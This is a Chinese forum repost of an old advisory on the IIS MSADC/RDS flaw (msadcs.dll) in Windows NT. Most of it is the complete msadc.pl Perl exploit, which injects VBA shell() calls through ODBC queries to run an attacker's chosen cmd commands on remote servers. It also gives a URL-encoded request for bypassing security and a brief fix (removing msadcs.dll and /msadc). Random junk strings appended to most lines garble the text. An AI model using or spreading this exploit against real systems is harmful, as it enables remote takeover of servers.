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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) zX i 'kB  
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涉及程序: sU^1wB Rj  
Microsoft NT server (+hK%}K>  
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描述: y$M%2mh`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 9H1rO8k  
+:/%3}`  
详细: < I``&>  
如果你没有时间读详细内容的话,就删除: as =fCuJ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll %^6F_F_jS  
有关的安全问题就没有了。 {?7Uj  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 NDokSw-  
9%obq/Lb  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 YtLt*Ig%  
关于利用ODBC远程漏洞的描述,请参看: 86a\+Kz%%L  
W[r>.7>?h  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm '$+ogBS  
*/S_Icf  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Ab;.5O$y  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp t sRdvFFq  
A^SgI-y|  
这里不再论述。 J] r^W)O  
bpa?C  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 3=V &K-  
z\4.Gm-  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ;q>ah!"k  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! o^wqFX(Y  
<wHP2|<l*  
}Ou}+^Bc  
#将下面这段保存为txt文件,然后: "perl -x 文件名" +LJ73 !  
bW+:C5'  
#!perl "d}Gp9+$VY  
# _,*r_D61S  
# MSADC/RDS 'usage' (aka exploit) script KqP#6^ _  
#  4Wp=y  
# by rain.forest.puppy M869MDo  
# *qpSXmOz  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me M)(DZ}  
# beta test and find errors! Z4bNV?OH  
 LFV%&y|L  
use Socket; use Getopt::Std; + >!;i6|  
getopts("e:vd:h:XR", \%args); b\,+f n  
y8xE 6i  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; wb ;xRP"w  
qmP].sA  
if (!defined $args{h} && !defined $args{R}) { ]eV8b*d6  
print qq~ K:WDl;8 (d  
Usage: msadc.pl -h <host> { -d <delay> -X -v } -D: b*D  
-h <host> = host you want to scan (ip or domain) 1{.9uw"2S  
-d <seconds> = delay between calls, default 1 second X5w$4Kj&4l  
-X = dump Index Server path table, if available JlJ a #  
-v = verbose o5)<$P43  
-e = external dictionary file for step 5 e+=K d+:k  
iN.n8MN=I  
Or a -R will resume a command session $<OD31T  
tQ601H>o  
~; exit;} HK% 7g  
Pc]HP  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ^=*;X;7  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ez[Vm:2K  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 4mbBmQV$#  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); u$`a7Lp,n  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} lk=<A"^S  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } !PE]C!*gv&  
1AFA=t:]p  
if (!defined $args{R}){ $ret = &has_msadc; wdoR%b{M  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} dgP3@`YS  
#p{4^  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "uf%iJ:%  
. "cmd /c "; *=xr-!MEk  
$in=<STDIN>; chomp $in;  _','9|  
$command="cmd /c " . $in ; c1gQ cqF  
hCo|HB  
if (defined $args{R}) {&load; exit;} og>uj>H&  
O&hTNIfi  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; M UwMb!Z.s  
&try_btcustmr; onV>.7sG  
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print "\nStep 2: Trying to make our own DSN..."; Y\hBd$lQ~  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 6E}qL8'5x  
.ccp  
print "\nStep 3: Trying known DSNs..."; VG~Vs@c(  
&known_dsn; KG{St{uJ  
lr$zHI7_`  
print "\nStep 4: Trying known .mdbs..."; N)Z?Z+ }h  
&known_mdb; L4l!96]a  
#|``ca54B  
if (defined $args{e}){ /wlEe>i  
print "\nStep 5: Trying dictionary of DSN names..."; B|X!>Q<g  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } I*^Ta{j[  
a09<!0Rp  
print "Sorry Charley...maybe next time?\n"; 9Gz=lc[!7  
exit; #Rr%:\*  
HLi%%"'  
############################################################################## XB5DPx  
JjS?  
sub sendraw { # ripped and modded from whisker ( uidNq  
sleep($delay); # it's a DoS on the server! At least on mine... )=-szJjXZ  
my ($pstr)=@_; q" 5(H5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || S`]k>' l  
die("Socket problems\n"); "J3x_~,[4m  
if(connect(S,pack "SnA4x8",2,80,$target)){ ,v}k{( 16{  
select(S); $|=1; _Bj":rzY  
print $pstr; my @in=<S>; wI "U7vr  
select(STDOUT); close(S); ??/ 'kmd  
return @in; {(?4!rh  
} else { die("Can't connect...\n"); }} pmYHUj #  
!Xw5<J3L-  
############################################################################## +qdEq_ m  
3T0"" !Q  
sub make_header { # make the HTTP request j_ 7mNIr  
my $msadc=<<EOT 3irl (;v  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 '/%H3A#L  
User-Agent: ACTIVEDATA H" 7u7l  
Host: $ip =H]@n|$(  
Content-Length: $clen 2I{"XB  
Connection: Keep-Alive Oa>Ppldeg  
caX< n>  
ADCClientVersion:01.06 h!9ei6  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 _u9Jxw?F@Y  
G  .4X'  
--!ADM!ROX!YOUR!WORLD! ] @fk] ]R  
Content-Type: application/x-varg |(^PS8wG  
Content-Length: $reqlen ={Qi0Pvt  
| VDV<g5h  
EOT IO:G1;[/2L  
; $msadc=~s/\n/\r\n/g; FML(4BY,  
return $msadc;} ""~ajy  
13/]DF,S"^  
############################################################################## P{^6v=8)  
o#1 $q`Z  
sub make_req { # make the RDS request Eu04e N  
my ($switch, $p1, $p2)=@_; seeB S/%  
my $req=""; my $t1, $t2, $query, $dsn; ZqO^f*F>h  
18:%~>.!  
if ($switch==1){ # this is the btcustmr.mdb query 0+b1vhQ  
$query="Select * from Customers where City=" . make_shell(); #C@FYO f*  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ,5<Cd,`*  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .(2ik5A%9  
3"\lu?-E  
elsif ($switch==2){ # this is general make table query Pj% |\kbNs  
$query="create table AZZ (B int, C varchar(10))"; V Jll  
$dsn="$p1";} 8, >P  
d m%8K6|  
elsif ($switch==3){ # this is general exploit table query "kqPmeI  
$query="select * from AZZ where C=" . make_shell(); hP&B t  
$dsn="$p1";} U~7c+}:c  
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elsif ($switch==4){ # attempt to hork file info from index server II x#2r  
$query="select path from scope()"; uY'HT|@:{  
$dsn="Provider=MSIDXS;";} ^K@C"j?M/  
` sU/&  P  
elsif ($switch==5){ # bad query ,$&&-p I]  
$query="select"; @Do= k  
$dsn="$p1";} ;sFF+^~L  
[j'X;tVX{  
$t1= make_unicode($query); c~ V*:$F  
$t2= make_unicode($dsn); $PHvA6D  
$req = "\x02\x00\x03\x00"; .#pU=v#/[  
$req.= "\x08\x00" . pack ("S1", length($t1)); UW EV^ &"x  
$req.= "\x00\x00" . $t1 ; JqiP>4Uwm^  
$req.= "\x08\x00" . pack ("S1", length($t2)); }JAG7L&{  
$req.= "\x00\x00" . $t2 ; 8Uxne2e  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Xla~Yg  
return $req;} 65^9  
_:27]K:  
############################################################################## x-3\Ls[I  
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sub make_shell { # this makes the shell() statement o{[YA} xc  
return "'|shell(\"$command\")|'";} IPo?:1x]s  
"snw4if  
############################################################################## W5MTD]J   
Q]>.b%s[  
sub make_unicode { # quick little function to convert to unicode q5:N2Jmo?z  
my ($in)=@_; my $out; pyvSwD5t  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } %84rL?S  
return $out;} h.t-`k7  
E< fVZ,  
############################################################################## \)|hogI|f  
!C: $?oU  
sub rdo_success { # checks for RDO return success (this is kludge) M =r)I~  
my (@in) = @_; my $base=content_start(@in); 5XB H$&Td  
if($in[$base]=~/multipart\/mixed/){ Ph> %7M%  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +srGN5!  
return 0;} ')3 bl3:  
gB'6`'  
############################################################################## Q'0d~6n&{  
6NHX2Ja  
sub make_dsn { # this makes a DSN for us &.?'i1!  
my @drives=("c","d","e","f"); kZ3ThIk%  
print "\nMaking DSN: "; ,nm*q#R,0  
foreach $drive (@drives) { [q #\D  
print "$drive: "; C~iL3C b  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Dm<A ^u8  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ySDH "|0  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); n7-6- #  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; <e</m)j  
return 0 if $2 eq "404"; # not found/doesn't exist y h9*z3  
if($2 eq "200") { 9qG6Pb  
foreach $line (@results) { X}\:_/  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 3/n5#&c\4  
} return 0;} Jze:[MYS  
JFk lUgg  
############################################################################## 9-*uPK]m9  
omBoo5e  
sub verify_exists { "a U aotx  
my ($page)=@_; }U"&8%PZr  
my @results=sendraw("GET $page HTTP/1.0\n\n"); W:L AP R  
return $results[0];} t{vJM!kdlQ  
6V01F8&w  
############################################################################## YcpoL@ab  
rh}J3S5vp  
sub try_btcustmr { gSQJJxZ{?  
my @drives=("c","d","e","f"); j  e P  
my @dirs=("winnt","winnt35","winnt351","win","windows"); g7W"  
|8tilOqI  
foreach $dir (@dirs) { I&W=Q[m  
print "$dir -> "; # fun status so you can see progress FQ5U$x. [P  
foreach $drive (@drives) { wDe& 1(T^  
print "$drive: "; # ditto x+@rg];m  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Ej8^Zg  
$reqlenlen=length( "$reqlen" ); iqQD{SRt{  
$clen= 206 + $reqlenlen + $reqlen; Z@PmM4F@S  
+!.^zp21  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); F@B]et7  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?+}_1x`  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 'AS|ZRr/  
xYpd: Sm  
############################################################################## k_nql8H  
O[JL+g4  
sub odbc_error { QE`bSI  
my (@in)=@_; my $base; 7\Y0z  
my $base = content_start(@in); P?of<i2E  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ExL0?FemWV  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; L>4"(  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i6Emhji  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; lp%pbx43s  
return $in[$base+4].$in[$base+5].$in[$base+6];} .jjG(L  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; H ]Z$OpI  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . tG22#F`  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} [%1CRk  
%2V?,zY@  
############################################################################## -fW*vE:  
pJ'"j 6Q  
sub verbose { #fn)k1  
my ($in)=@_; ,M ^<CJ  
return if !$verbose; @O^6&\s>  
print STDOUT "\n$in\n";} dE{dZ#Jfi  
]Ntmy;Q   
############################################################################## jkF^-Up.  
=R$u[~Xl2X  
sub save { @>Km_Ax  
my ($p1, $p2, $p3, $p4)=@_; "n5N[1b k  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Ig0VW)@  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; _H7x9 y=  
close OUT;} 5IjGm  
|~mOfuQb  
############################################################################## ra gXn  
O`t&ldU  
sub load { ]Wlco  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; p}pjfG  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); eF-."1  
@p=<IN>; close(IN); qHlQ+:n  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); .~~T\rmI  
$target= inet_aton($ip) || die("inet_aton problems"); !Pfr,a  
print "Resuming to $ip ..."; 7CURhDdk  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; C{xaENp  
if($p[1]==1) { ^ EQ<SCh  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; F8,RXlGfA[  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; `% "\@<  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); #r~# I}U  
if (rdo_success(@results)){print "Success!\n";} YWO)HsjP  
else { print "failed\n"; verbose(odbc_error(@results));}} '/p/8V.O.  
elsif ($p[1]==3){ .:%0E`E  
if(run_query("$p[3]")){ Zaf:fsj>  
print "Success!\n";} else { print "failed\n"; }} jZkcBIK2  
elsif ($p[1]==4){ FxWSV|Z  
if(run_query($drvst . "$p[3]")){ ? _9  
print "Success!\n"; } else { print "failed\n"; }} LxSpctiNx  
exit;} >7T'OC  
6Vnsi%{  
############################################################################## Nkth>7*  
W/bQd)Jvk  
sub create_table { Ee%%d  
my ($in)=@_; Q6!zZ))~  
$reqlen=length( make_req(2,$in,"") ) - 28; sfugY (m  
$reqlenlen=length( "$reqlen" ); z3m85F%dR  
$clen= 206 + $reqlenlen + $reqlen; WUXx;9>  
my @results=sendraw(make_header() . make_req(2,$in,"")); yfjWbW  
return 1 if rdo_success(@results); Z4w!p?Wqa  
my $temp= odbc_error(@results); verbose($temp); 6@F9G 4<Z  
return 1 if $temp=~/Table 'AZZ' already exists/; sW'AjI  
return 0;} 17"uf.G  
+`3)oPV)  
############################################################################## ' ;FnIZ  
Ma']?Rb`  
sub known_dsn { E`usknf>l  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Hc$O{]sq  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", a;qryUyG  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =M [bnq*\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }t=!(GOb}  
}"P|`"WW  
foreach $dSn (@dsns) { b)5uf'?-  
print "."; P90yI  
next if (!is_access("DSN=$dSn")); }Gm>`cw-  
if(create_table("DSN=$dSn")){ S8wLmd>  
print "$dSn successful\n"; N&+x+;Kx  
if(run_query("DSN=$dSn")){ $)ijN^hV  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { U175{N%3  
print "Something's borked. Use verbose next time\n";}}} print "\n";} c&?m>2^6  
/}fHt^2H  
############################################################################## 8hz^%vm  
H.|#c^I  
sub is_access { (Ag1 6  
my ($in)=@_; FF(#]vz'  
$reqlen=length( make_req(5,$in,"") ) - 28; `O!X((  
$reqlenlen=length( "$reqlen" ); /h H  
$clen= 206 + $reqlenlen + $reqlen; lH x^D;m6  
my @results=sendraw(make_header() . make_req(5,$in,"")); RYQR(v  
my $temp= odbc_error(@results); t?-n*9,#S  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 5z8d} I  
return 0;} b"uu  
P%:wAYz1^O  
############################################################################## ~"&|W'he[  
vkx7paY_  
sub run_query { n,V[eW#m'L  
my ($in)=@_; c"n\cNP<  
$reqlen=length( make_req(3,$in,"") ) - 28; M4oy  
$reqlenlen=length( "$reqlen" ); r?lf($ D*  
$clen= 206 + $reqlenlen + $reqlen; "fCu=@i  
my @results=sendraw(make_header() . make_req(3,$in,"")); p;59?  
return 1 if rdo_success(@results); H z1%x  
my $temp= odbc_error(@results); verbose($temp); 0KcyLAJ  
return 0;} ,c$_t+  
j_!F*yul  
############################################################################## 7{)G_?Q&  
9Zt`u,;  
sub known_mdb { 5j<mbt}  
my @drives=("c","d","e","f","g"); :uq\+(9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,]ma+(|  
my $dir, $drive, $mdb; UXc-k  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; a}BYov  
h-#6av :  
# this is sparse, because I don't know of many Ic"ybj`  
my @sysmdbs=( "\\catroot\\icatalog.mdb", QT< }] 0  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 1R{!]uh  
"\\system32\\certmdb.mdb", Q_Q''j(r6b  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ['X]R:3h  
Utj&]RELK  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", hl7bzKO*w  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @uqd.Q  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ?wiC Q6*$  
"\\cfusion\\cfapps\\security\\realm_.mdb", |+FubYf?$  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ~q@|l3?$  
"\\cfusion\\database\\cfexamples.mdb", 1MP~dRZ$  
"\\cfusion\\database\\cfsnippets.mdb", MSQEO4ge  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", VgG0VM  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", !*F1q|R  
"\\cfusion\\brighttiger\\database\\cleam.mdb", W#4 7h7M  
"\\cfusion\\database\\smpolicy.mdb", @;zl  
"\\cfusion\\database\cypress.mdb", w;[NH/A^a  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _(W+S`7Z  
"\\website\\cgi-win\\dbsample.mdb", \}u Y'F  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 7 S#J>*  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" UqFO|r"M  
); #these are just E:sf{B'&  
foreach $drive (@drives) { <ktrPlNuM  
foreach $dir (@dirs){ axv>6k  
foreach $mdb (@sysmdbs) { ?*G|XnM&  
print "."; c?f4Q,%|  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ $<dH?%!7  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; AW%#O\N  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (Ft+uuG  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; jiV<+T?  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ^EtMxF@D  
=\&;Fi]  
foreach $drive (@drives) { #l\=}#\1Wb  
foreach $mdb (@mdbs) { ~9a<0Mc?  
print "."; I+%[d^,  
if(create_table($drv . $drive . $dir . $mdb)){ x*/t yZg6  
print "\n" . $drive . $dir . $mdb . " successful\n";  &=@IzmA  
if(run_query($drv . $drive . $dir . $mdb)){ Sxt"B  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 7{e  4c  
} else { print "Something's borked. Use verbose next time\n"; }}}} r_)' Ps  
} P%V'4p c  
k_L7 kvpt  
############################################################################## ~RW+ GTe  
|B?m,U$A!  
sub hork_idx { APn|\  
print "\nAttempting to dump Index Server tables...\n"; m)ky*"(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; :[p}  
$reqlen=length( make_req(4,"","") ) - 28; XV7Ex\D*  
$reqlenlen=length( "$reqlen" ); )al]*[lY  
$clen= 206 + $reqlenlen + $reqlen; VZp5)-!\  
my @results=sendraw2(make_header() . make_req(4,"","")); !_]Y~[  
if (rdo_success(@results)){ O@T9x$  
my $max=@results; my $c; my %d; [N-Di"  
for($c=19; $c<$max; $c++){ e&|'I"  
$results[$c]=~s/\x00//g; @ wGPqg  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; SB;&GHq"n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; .9/ hHCp  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }/0X'o  
$d{"$1$2"}="";} \#2Z)Kz  
foreach $c (keys %d){ print "$c\n"; } j"t(0 m  
} else {print "Index server doesn't seem to be installed.\n"; }} WrnrFz  
g+8OekzB5  
############################################################################## du $:jN\}  
"(3[+W{|  
sub dsn_dict { Q,,e+exbb5  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); i^/T  
while(<IN>){ bQzZy5,  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 1jmjg~W  
next if (!is_access("DSN=$dSn")); JK7G/]j+Ez  
if(create_table("DSN=$dSn")){ x 77*c._3v  
print "$dSn successful\n"; WA<v9#m  
if(run_query("DSN=$dSn")){ ]g#:KAqz  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2 ~dE<}  
print "Something's borked. Use verbose next time\n";}}} a kkNI3  
print "\n"; close(IN);} |0&IXOW"XF  
v^sv<4*%  
############################################################################## paA(C|%{  
+C^nO=[E  
sub sendraw2 { # ripped and modded from whisker _>o:R$ %}  
sleep($delay); # it's a DoS on the server! At least on mine... l] K3Y\#bP  
my ($pstr)=@_; f$o_e90mu  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || vz@A;t  
die("Socket problems\n"); 3<e=g)F  
if(connect(S,pack "SnA4x8",2,80,$target)){ Yj<a" Gr4[  
print "Connected. Getting data"; 7m47rJyW4  
open(OUT,">raw.out"); my @in; bt@< ut\  
select(S); $|=1; print $pstr; vO H4#  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} XnH05LQ  
close(OUT); select(STDOUT); close(S); return @in; \ ,'m</o~,  
} else { die("Can't connect...\n"); }} : p1u(hflS  
7zl5yK N  
############################################################################## ] 7[ 3>IN  
v8wq,CYV  
sub content_start { # this will take in the server headers s-NX o  
my (@in)=@_; my $c; mtpeRVcF  
for ($c=1;$c<500;$c++) { .97])E[U  
if($in[$c] =~/^\x0d\x0a/){ <jBF[v9*m(  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +i6GHBn~J  
else { return $c+1; }}} (fhb0i-  
return -1;} # it should never get here actually 4V"E8rUL(  
3 #n_?-  
############################################################################## O"+ gQXe  
kl" hBK#D%  
sub funky { "-M p_O]  
my (@in)=@_; my $error=odbc_error(@in); b.Os iT;_j  
if($error=~/ADO could not find the specified provider/){ h<h%*av|  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; p . %]Q*8  
exit;} #]-SJWf3  
if($error=~/A Handler is required/){ lPe&h]@ >  
print "\nServer has custom handler filters (they most likely are patched)\n"; JB\UKZXw  
exit;} p0]=QH  
if($error=~/specified Handler has denied Access/){ mwO6g~@ `  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^23~ZHu  
exit;}} 1wii8B6  
2zX]\s?3  
############################################################################## B4ZBq%Z_  
ynp8r f  
sub has_msadc { YByLoM*  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); Q1lyj7c#x  
my $base=content_start(@results); V~qNyOtA]  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); V_)-#=J  
return 0;} ),_@WW;k  
o]odxr  
######################## \a<wKTkn  
a1+oj7  
@s*-%N^:[L  
解决方案: xKbXt;l2  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll UklUw  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 \Zk;ikEY  
p;a,#IJu  
拿出来充数 哈哈
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